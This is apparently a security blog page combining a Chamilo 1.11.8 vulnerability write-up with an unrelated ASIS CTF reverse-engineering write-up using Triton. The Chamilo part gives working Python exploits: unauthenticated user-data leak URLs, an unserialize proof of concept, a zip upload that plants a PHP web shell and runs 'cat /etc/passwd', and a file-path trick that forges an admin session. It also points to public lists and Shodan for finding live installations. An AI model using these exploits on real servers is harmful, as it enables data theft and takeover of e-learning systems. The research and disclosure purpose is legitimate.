Chamilo

Hi,

I had a friend who wanted to install a E-learning solution for his company. He choose Chamilo. It has a nice interface and is easy to install.

Then he asked me help to configure the mail server and some others little things. During the navigation on the pages, I saw it was in php, using no obvious framework and have nice parameters in the URL.

Since it is open-source, I put myself up to the challenge and the next day I downloaded and install it on a VM.

After some research, I discovered that there was a lot of php pages accessible without any authentication. I love pre-auth exploit! So I started to look into those files to see if there was interesting features for an exploit.

Version

I installed the 1.11.8 version (the last stable release from github).
But checking the code for version 2.x, vulnerabilities are still present.

Leak Data

When I am searching inside the code, I love API. You always find some interesting things in it, because it’s not used the same way, doesn’t use the same logic or permissions. So I started with the main/ajax folder.

Obviously, the user_management.ajax.php file was the first one I looked into.
It didn’t take me a lot of times to realize I already have my first exploit.

Below are the first lines of the file:

<?php
/* For licensing terms, see /license.txt */

use Chamilo\UserBundle\Entity\User;
use Doctrine\Common\Collections\Criteria;
use Doctrine\ORM\Query\Expr\Join;

/**
 * Responses to AJAX calls.
 */
require_once __DIR__.'/../global.inc.php';

$action = $_GET['a'];

switch ($action) {
    case 'get_user_like':
        $query = $_REQUEST['q'];
        $conditions = [
            'username' => $query,
            'firstname' => $query,
            'lastname' => $query,
        ];
        $users = UserManager::getUserListLike($conditions, [], false, 'OR');
        $result = [];
        if (!empty($users)) {
            foreach ($users as $user) {
                $result[] = ['id' => $user['id'], 'text' => $user['complete_name'].' ('.$user['username'].')'];
            }
            $result['items'] = $result;
        }
        echo json_encode($result);
        break;

You can think that there is some permissions check done in the global.inc.php file, but no.

Usually it is protected with code like this:

api_block_anonymous_users();
api_protect_course_script(true);
api_protect_admin_script();

but not in this case.

This is easily verifiable, let’s go to the webpage:

http://x.x.x.x/chamilo/main/inc/ajax/user_manager.ajax.php?action=get_user_like

And there you are, the full list of users, with id, username, firstname and lastname!

Leak Data (again)

After this first leak, I wanted to explore more code! I didn’t find anything really interesting in the API, except some permissions issue I think, but not even sure about it.

So, the filter was quite simple, I was looking for pages that don’t have checking permissions like

api_block_anonymous_users();
api_protect_course_script(true);
api_protect_admin_script();

I found one, related to user again. It is main/ticket/course_user_list.php.
It gives some information about users and courses, more specifically which class has been taken by which user.

The code is not very long, I paste it below:

require_once __DIR__.'/../inc/global.inc.php';

$userId = (int) $_GET['user_id'];
$userInfo = api_get_user_info($userId);

$coursesList = CourseManager::get_courses_list_by_user_id($userId, false, true);
$arrCourseList = [get_lang('Select')];
//Course List
foreach ($coursesList as $key => $course) {
    $courseInfo = CourseManager::get_course_information($course['code']);
    $arrCourseList[$courseInfo['code']] = $courseInfo['title'];
}

$userLabel = Display::tag('label', get_lang('User'), ['class' => 'control-label']);
$personName = api_get_person_name($userInfo['firstname'], $userInfo['lastname']);
$userInput = Display::tag(
    'input',
    '',
    [
        'disabled' => 'disabled',
        'type' => 'text',
        'value' => $personName,
    ]
);
$userControl = Display::div($userInput, ['class' => 'controls']);
$courseLabel = Display::tag('label', get_lang('Course'), ['class' => 'control-label']);
$courseSelect = Display::select('course_id', $arrCourseList, 0, [], false);
$courseControl = Display::div($courseSelect, ['class' => 'controls']);

$userDiv = Display::div($userLabel." ".$userControl, ['class' => 'control-group']);
$courseDiv = Display::div($courseLabel." ".$courseControl, ['class' => 'control-group']);

echo $userDiv;
echo $courseDiv;

The only thing you need is a user_id, but it is a sequential value so you can increase over it.

http://x.x.x.x/chamilo/main/ticket/course_user_list.php?user_id=X

Possible RCE pre-auth / unserialize

Now, we can look at another file, which is anonymously accessible: main/lp/lp_upload.php

This file takes as input a $_FILES[‘user_file’] and, depending on the extension, it will process the file. Values for the type are multiples, and all of them have a specific process:

1. chamilo

CourseArchiver::importUploadedFile

2. scorm

$oScorm->import_package($_FILES['user_file'], $current_dir);

3. aicc

$oAICC->import_package($_FILES['user_file']);

4. oogie

$o_ppt = new OpenofficePresentation($take_slide_name);
$first_item_id = $o_ppt->convert_document($_FILES['user_file'], 'make_lp', $_POST['slide_size']);

5. woogie

$o_doc = new OpenofficeText($split_steps);
$first_item_id = $o_doc->convert_document($_FILES['user_file']);

The first one (chamilo) will rename the file with uniqid() which make it unpredictable. But then it process this file and extract its content to

self::getBackupDir().$tmp_dir_name;

 

Updated:

The interesting lines are an unserialize method used with a user input (a file extract from the zip):

$fp = @fopen('course_info.dat', "r");
$contents = @fread($fp, filesize('course_info.dat'));
@fclose($fp);
...
$course = unserialize(base64_decode($contents));

The check is done after the unserialize. It means the input of this method is not filtered and only required to be base64 encoded.
I didn’t go further in the exploitation but you just need to right chain starting from this point. You can use PHPGGC to help for example.

Exploit
import requests
import zipfile
import base64

#To change
hostname="192.168.56.102"
baseUrl="http://"+hostname+"/chamilo-1.11/"


filename='python.zip'
f = open("course_info.dat",'w+')
f.write(str(base64.b64encode(b'O:8:"stdClass":0:{}').decode('utf8')))
f.close()

zipfile.ZipFile(filename, mode='w').write("course_info.dat")
url=baseUrl+"main/lp/lp_upload.php"
files = {'user_file':(filename,open(filename,'rb'))}
data = {}
r = requests.post(url, files=files,data=data)

When running the following code, you can see from the debugging console that the stdClass is created:

 

RCE pre-auth (again)

In the same file (lp_upload) but in the other type, called scorm, you can import a package, meaning a zip file. To have a ‘scorm’ type, you need a zip containing a imsmanifest.xml file, that’s all.

As you can see, the check specified that they don’t do anything if they see a php extension in the zip (in get_package_type):

if (preg_match('~.(php.*|phtml)$~i', $thisContent['filename'])) {
                    // New behaviour: Don't do anything. These files will be removed in scorm::import_package.
                } elseif (stristr($thisContent['filename'], 'imsmanifest.xml') !== false) {
                    $manifest = $thisContent['filename']; // Just the relative directory inside scorm/
                    $package_type = 'scorm';
                    break; // Exit the foreach loop.

The scorm type process the zip file as follow:

$current_dir = api_replace_dangerous_char(trim($_POST['current_dir']));
...
case 'scorm':
            $oScorm = new scorm();
            $manifest = $oScorm->import_package($_FILES['user_file'], $current_dir);
            if (!empty($manifest)) {
                $oScorm->parse_manifest($manifest);
                $oScorm->import_manifest(api_get_course_id(), $_REQUEST['use_max_score']);
                Display::addFlash(Display::return_message(get_lang('UplUploadSucceeded')));
            }
            $oScorm->set_proximity($proximity);
            $oScorm->set_maker($maker);
            $oScorm->set_jslib('scorm_api.php');
            break;

We can see that import_package receives the input unfiltered.

To be fast, below is the interesting lines of import_package function:

public function import_package(
        $zipFileInfo,
        $currentDir = '',
        $courseInfo = [],
        $updateDirContents = false,
        $lpToCheck = null
    ) 
...
$zipFilePath = $zipFileInfo['tmp_name'];
$zipFileName = $zipFileInfo['name'];
...
$zipFile = new PclZip($zipFilePath);
        // Check the zip content (real size and file extension).
        $zipContentArray = $zipFile->listContent();
        $packageType = '';
        $manifestList = [];
        // The following loop should be stopped as soon as we found the right imsmanifest.xml (how to recognize it?).
        $realFileSize = 0;
        foreach ($zipContentArray as $thisContent) {
            if (preg_match('~.(php.*|phtml)$~i', $thisContent['filename'])) {
                $file = $thisContent['filename'];
                $this->set_error_msg("File $file contains a PHP script");
            } elseif (stristr($thisContent['filename'], 'imsmanifest.xml')) {
                if ($thisContent['filename'] == basename($thisContent['filename'])) {
                } else {
                    if ($this->debug > 2) {
                        error_log("New LP - subdir is now ".$this->subdir);
                    }
                }
                $packageType = 'scorm';
                $manifestList[] = $thisContent['filename'];
            }
            $realFileSize += $thisContent['size'];
        }

Okay, we can see several bad practices:
1. Use a blacklist to validate extension
2. When a php file is found, set an error message, but doesn’t stop the loop. Even worst with the comment saying that once the right file is found, it should stop the loop

So, to resume, it checks the content of the zip file and if it founds any php files, it will set an error message but continue the process.

Let’s see what’s going on after:

Some checking....

$newDir = api_replace_dangerous_char(trim($fileBaseName));

...

$course_rel_dir = api_get_course_path($courseInfo['code']).'/scorm'; // scorm dir web path starting from /courses

$course_sys_dir = api_get_path(SYS_COURSE_PATH).$course_rel_dir; // Absolute system path for this course.
...

chdir($courseSysDir.$newDir);
$unzippingState = $zipFile->extract();
...

if ($dir = @opendir($courseSysDir.$newDir)) {
                if ($this->debug >= 1) {
                    error_log('New LP - Opened dir '.$courseSysDir.$newDir);
                }
                while ($file = readdir($dir)) {
                    if ($file != '.' && $file != '..') {
                        // TODO: RENAMING FILES CAN BE VERY DANGEROUS SCORM-WISE, avoid that as much as possible!
                        //$safeFile = api_replace_dangerous_char($file, 'strict');
                        $findStr = ['\\', '.php', '.phtml'];
                        $replStr = ['/', '.txt', '.txt'];
                        $safeFile = str_replace($findStr, $replStr, $file);

 

An extraction of the files is done in $courseSysDir.$newDir. This directory has nothing secret and is known by the user. The only restriction to exploit this vulnerability is to know a course_id, which is not a sequential value. (more info below).

So, back to our code, the application extract the zip in a folder we know the path.
Then it loop through all files in this folder and delete them if they are dangerous, meaning for example if you have a .php extension.

In this case I see several possibilities to exploit this process, I will not test them all, I think the fix should be smart enough to block those cases anyway:

1. Race condition… or not…

Between the time from the extraction to the deletion of our malicious php file, there is some time. We can run a thread in parallel that request our file (we know the full URL) and execute it during this small amount of time. We can even fill the zip with a lot of empty files so the loop will take more times and it would be easier to trigger the vulnerability.

 

Update:

After some testing, I realised that you don’t need a Race condition. All you need is to put your files in a folder then zip the folder instead of all the files.
The checks in Chamilo will be done only at the first level of the folder. It means that it will check the folder’s extension and nothing else. It will leave all your files untouched: php extension, .htaccess, etc…

2. HTACCESS POWER

Depending on the server’s configuration, we can put a .htaccess in the zip file and a malicious php file called “hack.0xecute” for example.
We would put in the .htaccess file something like this:

AddType application/x-httpd-php .0xecute

meaning, apache will execute every file with the extension above as a php file and execute the code.

Exploit
import requests
import zipfile
import os


#To change

hostname="192.168.56.102"
baseUrl="http://"+hostname+"/chamilo-1.11/"
courseName='TEST'



cmd='cat /etc/passwd'
def zipdir(path, ziph):
    # ziph is zipfile handle
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))

tmpFolder = '/tmp/chamilo/'
filename='python.zip'

if not os.path.exists(tmpFolder):
    os.mkdir(tmpFolder)

#scorm
f = open(tmpFolder+"imsmanifest.xml",'w+')
f.write('O:8:"stdClass":0:{}')

f = open(tmpFolder+"exploit.php",'w+')
f.write('<?php echo shell_exec($_GET["cmd"]);')
f.close()

f = open(tmpFolder+"exploit.0xecute",'w+')
f.write('<?php echo "OK";')
f.close()

f = open(tmpFolder+".htaccess",'w+')
f.write('AddType application/x-httpd-php .0xecute')
f.close()

zipf = zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED)
zipdir(tmpFolder, zipf)
zipf.close()

url=baseUrl+"main/lp/lp_upload.php?cidReq="+courseName

files = {'user_file':(filename,open(filename,'rb'))}
data = {}
r = requests.post(url, files=files,data=data)

urlExploit = baseUrl+"app/courses/"+courseName+"/scorm/python/tmp/chamilo/exploit.php"
print("Exploit URL: "+urlExploit)

print()
print("If htaccess is working, you can check "+baseUrl+"app/courses/"+courseName+"/scorm/python/tmp/chamilo/exploit.0xecute")

r = requests.get(urlExploit+"?cmd="+cmd)
print(r.text)

 

 

To be honest, I didn’t go further in the code, I didn’t check the post-authentication code after finding those vulnerabilities. I didn’t check XSS or other vulnerabilities neither, only RCE pre-auth.

 

Update:

Requirements:

  • Enable AllowOverride on the root folder
  • Module rewrite enabled
Restriction

As said before, The only restriction to exploit this vulnerability is to know a course_id, which is not a sequential value.

But if you read above, the second leak data gives you several information about users and courses. So thanks to the combinaison, it is possible to find a course_id and exploit the RCE.

 

Privilege escalation / RCE

Looking at some files, I found out that the feature of uploading a file is done in a lot of places, and every time it is done differently, there is no unification about it.

So, for example we can go in main/inc/lib/nanogong/receiver.php and you will find a file upload of ‘voicefile’.

$filename = Security::remove_XSS($_GET['filename']);
$filename = urldecode($filename);
$filepath = Security::remove_XSS(urldecode($_GET['filepath']));
$dir = Security::remove_XSS(urldecode($_GET['dir']));

$course_code = Security::remove_XSS(urldecode($_GET['course_code']));
$_course = api_get_course_info($course_code);

$filename = trim($_GET['filename']);
$filename = Security::remove_XSS($filename);
$filename = Database::escape_string($filename);
$filename = api_replace_dangerous_char($filename);
$filename = disable_dangerous_file($filename);

$title = trim(str_replace('_chnano_.', '.', $filename)); //hide nanogong wav tag at title
$title = str_replace('_', ' ', $title);

$documentPath = $filepath . $filename;

if ($nano_user_id != api_get_user_id() || api_get_user_id() == 0 || $nano_user_id == 0) {
    echo 'Not allowed';
    exit;
}

// Do not use here check Fileinfo method because return: text/plain
$groupInfo = GroupManager::get_group_properties($nano_group_id);
if (!file_exists($documentPath)) {
    //add document to disk
    move_uploaded_file($_FILES['voicefile']['tmp_name'], $documentPath);

At the end, it copies our file in $documentPath which is a concatenation of our 2 inputs: filename and filepath.

We can see that this is no joke about the $filename variable. is it filtered a lot!
But… what about $_GET[‘filepath’] ?
Nothing… except XSS.
So what we can do is put a file anywhere in the system. It may not have the extension we want but it’s not a problem.

Creating your own session

In a nutshell, what you can do is set the filepath to ‘/var/lib/php/sessions and set as filename ‘sess_0xecute’. What is going to happen?

This directory contains all the session of php. So maybe we cannot read them but we can create one with anything we want inside.

For example, to be admin, we can see that the following is required:

function api_is_platform_admin($allowSessionAdmins = false, $allowDrh = false)
{
    $isAdmin = Session::read('is_platformAdmin');
    if ($isAdmin) {
        return true;
    }
    $user = api_get_user_info();

    return
        isset($user['status']) &&
        (
            ($allowSessionAdmins && $user['status'] == SESSIONADMIN) ||
            ($allowDrh && $user['status'] == DRH)
        );
}

so we can put something like:

checkChamiloURL|s:35:"http://192.168.56.102/chamilo-1.11/";is_platformAdmin|b:1;

and we are admin.

Restriction
require_once '../../../inc/global.inc.php';

api_protect_course_script();
api_block_anonymous_users();

if (!isset($_GET['filename']) || !isset($_GET['filepath']) || !isset($_GET['dir']) || !isset($_GET['course_code']) || !isset($_GET['nano_group_id']) || !isset($_GET['nano_session_id']) || !isset($_GET['nano_user_id'])) {
    echo 'Error. Not allowed';
    exit;
}

if (!is_uploaded_file($_FILES['voicefile']['tmp_name'])) {
    exit;
}

The only restriction, looking from the code, is to be logged-in and then it depends on the visibility of the course. You

Exploit
import requests


hostname="192.168.56.102"
baseUrl="http://"+hostname+"/chamilo-1.11/"

filename='session_0xecute'
myCookie = 'defaultMyCourseView1=0; PHPSESSID=2qfb65pnbhl6tra8v77boal7qv; ch_sid=0u0b9c2q9eun90cmsfnluriu74;'

url=baseUrl+"main/inc/lib/nanogong/receiver.php?filename=sess_0xecute&filepath=/var/lib/php/sessions/&dir=a&course_code=1&nano_group_id=1&nano_session_id=1&nano_user_id=1&XDEBUG_SESSION_START=14651"

files = {'voicefile':('session_0xecute',open("session_0xecute",'rb'))}
data = {}
r = requests.post(url, files=files,data=data, headers={'Cookie':myCookie})

print("Now you can set in your cookie ch_sid=0xecute")

 

If you don’t like the idea of playing with session, or maybe the session’s folder is not guessable, you can use this other techniques I found:

import requests


hostname="192.168.56.102"
baseUrl="http://"+hostname+"/chamilo-1.11/"

cmd='cat /etc/passwd'


myCookie = 'defaultMyCourseView1=0; PHPSESSID=2qfb65pnbhl6tra8v77boal7qv; ch_sid=0u0b9c2q9eun90cmsfnluriu74;'

url=baseUrl+"main/inc/lib/nanogong/receiver.php?filename=&filepath=exploit.php&dir=a&course_code=1&nano_group_id=1&nano_session_id=1&nano_user_id=1&XDEBUG_SESSION_START=14651"

files = {'voicefile':('x','<?php echo shell_exec($_GET["cmd"]);')}
data = {}
r = requests.post(url, files=files,data=data, headers={'Cookie':myCookie})



urlExploit = baseUrl+"main/inc/lib/nanogong/exploit.php"
print("Exploit URL: "+urlExploit)

print()
print("If htaccess is working, you can check "+urlExploit)

r = requests.get(urlExploit+"?cmd="+cmd)
print(r.text)

You can spot the trick?

I give an empty filename (the one that is filtered) and I put ‘exploit.php’ in the filepath. Since there is a concatenation with no slash between them…

And there you have your php file, in an executable directory.

A public repository of chamilo’s

What is the next step for a non-ethical hacker once he found a vulnerability on a source code?
He has to find website that has the application running. The advantage is that for chamilo, they already do that for you:
https://version.chamilo.org/community.php
You have a list of a lot of chamilo’s installation.
Okay… it is true you don’t have the domain name or the IP, but you have the name of the e-learning platform, and this can be interesting.

On my side, every link I found or tried starting from this webpage were not using chamilo anymore or down. But I didn’t test all of them of course. I tested some that include domain name inside the title.

After a research on shodan, not so many has been shown:

 

Below the community page, it is written:

We collect the information on these sites by allowing an opt-in system on the administration page of each portal. This option sends a small summary of the portal information, in the background, to our server. This information contains (exhaustive list):
The portal name
The portal URL
The server's IP address
The number of users
The number of courses
The admin name
The admin e-mail
This information serves only for two reasons:
Establish a report of who is using Chamilo, so that the Chamilo community can show off a little of the number of organizations using it
Establish a list of people that might want to know when we discover critical security issues

Can someone explain to me how storing the IP and url of chamilo installation help in the two goals cited above?

From what we can see in the source code, this is what chamilo send:

$data = [
            'url' => api_get_path(WEB_PATH),
            'campus' => api_get_setting('siteName'),
            'contact' => api_get_setting('emailAdministrator'), // the admin's e-mail, with the only purpose of being able to contact admins to inform about critical security issues
            'version' => $system_version,
            'numberofcourses' => $number_of_courses, // to sum up into non-personal statistics - see https://version.chamilo.org/stats/
            'numberofusers' => $number_of_users, // to sum up into non-personal statistics
            'numberofactiveusers' => $number_of_active_users, // to sum up into non-personal statistics
            'numberofsessions' => $number_of_sessions,
            //The donotlistcampus setting recovery should be improved to make
            // it true by default - this does not affect numbers counting
            'donotlistcampus' => api_get_setting('donotlistcampus'),
            'organisation' => api_get_setting('Institution'),
            'language' => api_get_setting('platformLanguage'), //helps us know the spread of language usage for campuses, by main language
            'adminname' => api_get_setting('administratorName').' '.api_get_setting('administratorSurname'), //not sure this is necessary...
            'ip' => $_SERVER['REMOTE_ADDR'], //the admin's IP address, with the only purpose of trying to geolocate portals around the globe to draw a map
            // Reference to the packager system or provider through which
            // Chamilo is installed/downloaded. Packagers can change this in
            // the default config file (main/install/configuration.dist.php)
            // or in the installed config file. The default value is 'chamilo'
            'packager' => $packager,
            'unique_id' => $uniqueId,
        ];

So you have,

  • the WEB_PATH ( this is the url of your chamilo)
  • site name
  • email administrator
  • version of Chamilo you installed
  • number of courses
  • number of users
  • number of active users
  • number of sessions
  • donotlistcampus
  • Organisation
  • Language
  • Administrator name
  • The IP of the administrator (not the server!)

Maybe it is me but I don’t see in this file any restriction about what is send (main/inc/ajax/admin.ajax.php). And this is the only way you can check that your version is up to date. (Waiting for a response of Chamilo team)

 

So, it is a lot of personal data that is being fetch. And can you imagine if they get hacked and this become public?

Security issues

Chamilo has a great page concerning security issues: https://support.chamilo.org/projects/1/wiki/Security_issues

It looks like they are taking very seriously security issues on their platform, which is nice!

They even have a really fast fixing-process:

So far, in the history of the project (since late 2009), all (but one) vulnerabilities have been fixed less than 120h (5 days) after they were reported to us

even daring:

making it the most secure open source e-learning platform to date.

The second page about security: https://support.chamilo.org/projects/chamilo-18/wiki/Secure_development_policy

They speak about OWASP and filtering input, and best coding conventions. So how those vulnerabilities happened?

 

 

I am sure the team will do everything to improve the source code and fix those issues which includes:
– lack of permission checks
– lack of input’s filtration

 

 

Disclosure timeline:
23.01.2019: First contact with the team via not encrypted mail
25.01.2019: They say I can send them details of critical vulnerabilities by email. So I send them the two leaks information. I didn’t have the exploit or a confirmation that the RCE was working at that time.

 

Write up ASIS Final – Fake with Triton

Fake, 150 pts

Get the binary from github.

We will use Triton to do this challenge.

Triton uses PinTools and Z3 to help resolving reverse challenges.

If you have never used Triton, do it ASAP because it is a great tool that use symbolic execution.

Let’s get back to our binary.

When we run it we have nothing displayed.

If we put some string as arguments it doesn’t show anything neither. If we try with numbers it display some encrypted string.

So let’s check in IDA what the code looks like:

Screen Shot 2015-10-13 at 16.54.17

 

It is not very sexy and very interesting to reverse. So let’s call Triton to help.

Triton is useful when you have some string that should be equal to another or have some equity to satisfy.

Here we don’t have anything like that. But we can guess that puts(&v5) will display the 5 variables declared and that it will display the flag.

We know that the flag start with “ASIS{“, which is 5 chars and our variable can contain 8.

We will use Triton (even through it is not really a complicated equation) to solve our problem.

So first we have to find two things:

Where is v5 set and v5 after all the computations done with it.

Screen Shot 2015-10-13 at 17.03.29

We can see at 0x4004AC that we put into r8 the number get from strol.

At 0x4004AF we have done the computation so we have the final value in RAX register.

So to summarize in our first equation we will have:

x = r8 (0x4004AC)

our equation should be equal to 0x???7b53495341 where ??? is our last unknown chars (and we will loop through one of it)

To do that with Triton:

 

from triton import *

import smt2lib
import os, sys
from elftools.elf.elffile import ELFFile


FILENAME="fake"
def syscallEntry(instruction):


    if 0x4004ac==instruction.getAddress():
        convertRegToSymVar(IDREF.REG.R8,64)

    if 0x4004af==instruction.getAddress():
        symbolicId = getRegSymbolicID(IDREF.REG.RAX)

        raxExpr = getFullExpression(getSymExpr(symbolicId).getAst())
        for i in range(28,120):

            conditions =  list()
            conditions.append(smt2lib.smtAssert(smt2lib.bvugt(raxExpr, smt2lib.bv(32, 64))))
            conditions.append( smt2lib.smtAssert(smt2lib.equal(raxExpr, smt2lib.bv(int("0x"+str(i)+"7b53495341",16), 64))))
            expr = smt2lib.compound(conditions)

            model = getModel(expr)
            try:
                print {k: "0x%x, '%c'" % (v, chr(int(str(hex(v)).rstrip("0"),16))) for k, v in model.items()}
            except :
                print {k: "%s " % (str(hex(v)).rstrip("0")) for k, v in model.items()}




if __name__ == '__main__':
    with open(FILENAME, 'rb') as f:
        elffile = ELFFile(f)
        header = elffile.header
        print hex(header["e_entry"])

    # Start the symbolic analysis from the entry point
    startAnalysisFromAddr(header["e_entry"])

    # Add a callback.
    addCallback(syscallEntry, IDREF.CALLBACK.AFTER)

    # Run the instrumentation - Never returns
    runProgram()

 

We will explain the important part:

if 0x4004ac==instruction.getAddress():
        convertRegToSymVar(IDREF.REG.R8,64)

 

Here we define X_initial=R8 for the specific address. So Triton will know that it is our unknown value. (SymVar_0)

if 0x4004af==instruction.getAddress():
        symbolicId = getRegSymbolicID(IDREF.REG.RAX)

 

Then for the other address we will resolve the equation by saying that RAX is our X_final.

We loop through 28 to 120 to have some data for ?? value and we display result:

# triton fake.py ./fake 123

 

{'SymVar_0': '0xa4974e05e4d48cc7L '}
{'SymVar_0': '0x545d5505e4d48cc7 '}
{'SymVar_0': '0x22c78605e4d48cc7 '}
{'SymVar_0': '0xd28d8d05e4d48cc7L '}
{'SymVar_0': '0x82539405e4d48cc7L '}
{'SymVar_0': '0x32199b05e4d48cc7 '}
{'SymVar_0': '0xe1dfa205e4d48cc7L '}
{'SymVar_0': '0x91a5a905e4d48cc7L '}
{'SymVar_0': '0x416bb005e4d48cc7 '}
{'SymVar_0': '0xf131b705e4d48cc7L '}
{'SymVar_0': '0xa0f7be05e4d48cc7L '}
{'SymVar_0': '0x50bdc505e4d48cc7 '}
{'SymVar_0': '0x1f27f605e4d48cc7 '}
{'SymVar_0': '0xceedfd05e4d48cc7L '}
{'SymVar_0': '0x7eb40405e4d48cc7 '}
{'SymVar_0': '0x2e7a0b05e4d48cc7 '}
{'SymVar_0': '0xde401205e4d48cc7L '}
{'SymVar_0': '0x8e061905e4d48cc7L '}
{'SymVar_0': '0x3dcc2005e4d48cc7 '}
{'SymVar_0': '0xed922705e4d48cc7L '}
{'SymVar_0': '0x9d582e05e4d48cc7L '}
{'SymVar_0': '0x4d1e3505e4d48cc7 '}
{'SymVar_0': '0x1b886605e4d48cc7 '}
{'SymVar_0': '0xcb4e6d05e4d48cc7L '}
{'SymVar_0': '0x7b147405e4d48cc7 '}
{'SymVar_0': '0x2ada7b05e4d48cc7 '}
{'SymVar_0': '0xdaa08205e4d48cc7L '}
{'SymVar_0': '0x8a668905e4d48cc7L '}
{'SymVar_0': '0x3a2c9005e4d48cc7 '}
{'SymVar_0': '0xe9f29705e4d48cc7L '}
{'SymVar_0': '0x99b89e05e4d48cc7L '}
{'SymVar_0': '0x497ea505e4d48cc7 '}
{'SymVar_0': '0x17e8d605e4d48cc7 '}
{'SymVar_0': '0xc7aedd05e4d48cc7L '}
{'SymVar_0': '0x7774e405e4d48cc7 '}
{'SymVar_0': '0x273aeb05e4d48cc7 '}
{'SymVar_0': '0xd700f205e4d48cc7L '}
{'SymVar_0': '0x86c6f905e4d48cc7L '}
{'SymVar_0': '0x368d0005e4d48cc7 '}
{'SymVar_0': '0xe6530705e4d48cc7L '}
{'SymVar_0': '0x96190e05e4d48cc7L '}
{'SymVar_0': '0x45df1505e4d48cc7 '}
{'SymVar_0': '0x14494605e4d48cc7 '}
{'SymVar_0': '0xc40f4d05e4d48cc7L '}
{'SymVar_0': '0x73d55405e4d48cc7 '}
{'SymVar_0': '0x239b5b05e4d48cc7 '}
{'SymVar_0': '0xd3616205e4d48cc7L '}
{'SymVar_0': '0x83276905e4d48cc7L '}
{'SymVar_0': '0x32ed7005e4d48cc7 '}
{'SymVar_0': '0xe2b37705e4d48cc7L '}
{'SymVar_0': '0x92797e05e4d48cc7L '}
{'SymVar_0': '0x423f8505e4d48cc7 '}
{'SymVar_0': '0x10a9b605e4d48cc7 '}
{'SymVar_0': '0xc06fbd05e4d48cc7L '}
{'SymVar_0': '0x7035c405e4d48cc7 '}
{'SymVar_0': '0x1ffbcb05e4d48cc7 '}
{'SymVar_0': '0xcfc1d205e4d48cc7L '}
{'SymVar_0': '0x7f87d905e4d48cc7 '}
{'SymVar_0': '0x2f4de005e4d48cc7 '}
{'SymVar_0': '0xdf13e705e4d48cc7L '}
{'SymVar_0': '0x8ed9ee05e4d48cc7L '}
{'SymVar_0': '0x3e9ff505e4d48cc7 '}
{'SymVar_0': '0xd0a2605e4d48cc7 '}
{'SymVar_0': '0xbcd02d05e4d48cc7L '}
{'SymVar_0': '0x6c963405e4d48cc7 '}
{'SymVar_0': '0x1c5c3b05e4d48cc7 '}
{'SymVar_0': '0xcc224205e4d48cc7L '}
{'SymVar_0': '0x7be84905e4d48cc7 '}
{'SymVar_0': '0x2bae5005e4d48cc7 '}
{'SymVar_0': '0xdb745705e4d48cc7L '}
{'SymVar_0': '0x8b3a5e05e4d48cc7L '}
{'SymVar_0': '0x3b006505e4d48cc7 '}
{'SymVar_0': '0xf3ad3605e4d48cc7L '}
{'SymVar_0': '0xa3733d05e4d48cc7L '}
{'SymVar_0': '0x53394405e4d48cc7 '}
{'SymVar_0': '0x2ff4b05e4d48cc7 '}
{'SymVar_0': '0xb2c55205e4d48cc7L '}
{'SymVar_0': '0x628b5905e4d48cc7 '}
{'SymVar_0': '0x12516005e4d48cc7 '}
{'SymVar_0': '0xc2176705e4d48cc7L '}
{'SymVar_0': '0x71dd6e05e4d48cc7 '}
{'SymVar_0': '0x21a37505e4d48cc7 '}
{'SymVar_0': '0xf00da605e4d48cc7L '}
{'SymVar_0': '0x9fd3ad05e4d48cc7L '}
{'SymVar_0': '0x4f99b405e4d48cc7 '}
{'SymVar_0': '0xff5fbb05e4d48cc7L '}
{'SymVar_0': '0xaf25c205e4d48cc7L '}
{'SymVar_0': '0x5eebc905e4d48cc7 '}
{'SymVar_0': '0xeb1d005e4d48cc7 '}
{'SymVar_0': '0xbe77d705e4d48cc7L '}
{'SymVar_0': '0x6e3dde05e4d48cc7 '}
{'SymVar_0': '0x1e03e505e4d48cc7 '}

 

We can see that we always have a static part : 0x05e4d48cc7

We can try to run the program with these argument to see what happens:

# ./fake `rax2 0x05e4d48cc7`
ASIS{f5f7af556bd6973bd6f2687280a243d9}

And you got the flag.

Triton was a bit overkill for this challenge, we could have done it clearly without it but it is still interesting to do it with Triton.

If we have to go through the other variables to find ascii result for example it would have been useful.